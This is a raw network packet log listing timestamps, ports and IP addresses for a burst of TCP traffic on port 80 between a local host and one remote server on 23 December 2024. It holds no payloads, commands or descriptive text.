Dec 23, 2024 08:39:41.373722076 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.373835087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.373876095 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.374996901 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.375102043 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.375147104 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.376281023 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.376311064 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.376358032 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.377527952 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.377607107 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.377813101 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.378739119 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.378846884 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.378887892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.380007982 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.380099058 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.380142927 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.381192923 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.381304026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.381356955 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.382450104 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.382586002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.382631063 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.383702040 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.383830070 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.383869886 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.385068893 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.385087013 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.385135889 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.386157990 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.386261940 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.386301994 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.387398958 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.387466908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.387512922 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.388648987 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.388778925 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.388830900 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.389982939 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.390062094 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.390141964 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.391165972 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.391223907 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.391266108 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.391678095 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.392488956 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.392580986 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.392630100 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.393702030 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.393780947 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.393824100 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.394830942 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.394942999 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.395081997 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.396081924 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.396215916 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.396341085 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.397269011 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.407486916 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.521311045 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.521353006 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.521406889 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.521742105 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.521955013 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.521969080 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.522016048 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.522814989 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.522908926 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.522918940 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.523708105 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.523817062 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.523852110 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.524652004 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.524704933 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.524780989 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.525546074 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.525597095 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.525703907 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.526462078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.526506901 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.526663065 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.527370930 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.527451038 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.527460098 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.528306961 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.528348923 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.528381109 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.529187918 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.529306889 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.529334068 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.530101061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.530154943 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.530203104 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.531013012 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.531065941 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.531115055 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.532105923 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.532152891 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.532176018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.532851934 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.532900095 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.532924891 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.533725023 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.533763885 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.542941093 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.543064117 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.543122053 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.543395996 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.543486118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.543538094 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.544106960 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.544519901 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.544574022 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.544644117 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.545373917 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.545489073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.545548916 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.546262026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.546314001 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.546355009 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.547255993 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.547302961 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.547473907 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.548141003 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.548187971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.548226118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.549037933 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.549088955 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.549196959 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.549957991 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.550034046 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.550054073 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.550844908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.550889015 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.550997019 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.551883936 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.551950932 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.551973104 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.552701950 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.552802086 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.552830935 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.553596973 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.553642988 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.553968906 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.554511070 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.554542065 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.554562092 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.555429935 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.555517912 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.555536032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.556358099 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.556405067 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.556503057 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.557401896 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.557445049 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.557454109 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.558196068 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.558238983 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.558309078 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.559122086 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.559246063 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.559281111 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.560024023 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.560061932 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.560094118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.560945988 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.561163902 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.561220884 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.561853886 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.561897993 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.561969995 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.562772036 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.562819958 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.562819958 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.563704014 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.563796997 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.563812017 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.564589024 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.564613104 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.564683914 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.564735889 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.565502882 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.565546989 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.565623999 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.566414118 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.566461086 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.566463947 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.567373037 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.567435026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.567456007 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.568262100 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.568315029 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.568372011 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.569190025 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.569258928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.569317102 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.570080996 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.570164919 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.570194006 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.570988894 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.571046114 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.571103096 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.571938992 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.572051048 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.572061062 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.572869062 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.572942019 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.572943926 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.573741913 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.573786020 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.573849916 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.574233055 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.574655056 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.574697971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.574774027 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.575577974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.575615883 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.575660944 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.576482058 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.576551914 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.576574087 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.577430010 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.577477932 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.577528954 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.578320026 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.578393936 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.713848114 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.713871956 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.713968992 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.714006901 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.714101076 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.714257956 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.714891911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.714958906 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.715817928 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.715851068 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.715924025 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.716078043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.716720104 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.716902018 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.717041969 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.717626095 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.717803001 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.717947006 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.718589067 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.718648911 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.718812943 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.719476938 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.719579935 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.720088959 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.720405102 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.720503092 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.720643044 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.721304893 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.721369982 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.721546888 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.722207069 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.722282887 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.722398043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.723125935 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.723237038 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.724087000 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.724145889 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.724174023 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.724234104 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.724931002 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.727993965 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.735083103 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.735136032 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.735141993 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.735579967 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.735671043 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.735686064 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.736481905 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.736579895 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.736603022 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.737401009 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.737461090 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.737559080 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.738284111 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.738332033 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.738337040 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.739274025 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.739341974 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.739408016 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.740158081 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.740225077 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.740650892 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.741017103 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.741128922 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.741146088 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.741934061 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.741986990 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.742033958 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.742862940 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.742919922 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.742969036 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.743799925 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.743846893 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.743854046 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.744873047 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.744924068 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.744947910 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.745702982 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.745722055 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.745754004 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.746552944 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.746699095 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.746725082 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.747478962 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.747528076 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.747555971 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.748374939 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.748481989 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.748486996 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.749267101 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.749321938 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.749371052 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.750298023 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.750354052 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.750442028 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.751115084 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.751180887 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.751208067 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.752192974 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.752228022 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.752285957 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.752942085 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.753040075 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.753062963 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.753843069 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.753896952 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.753969908 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.754776001 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.754884005 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.754899025 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.755700111 CET	80	49783	139.99.188.124	192.168.2.6
Dec 23, 2024 08:39:41.755786896 CET	49783	80	192.168.2.6	139.99.188.124
Dec 23, 2024 08:39:41.755808115 CET	80	49783	139.99.188.124	192.168.2.6
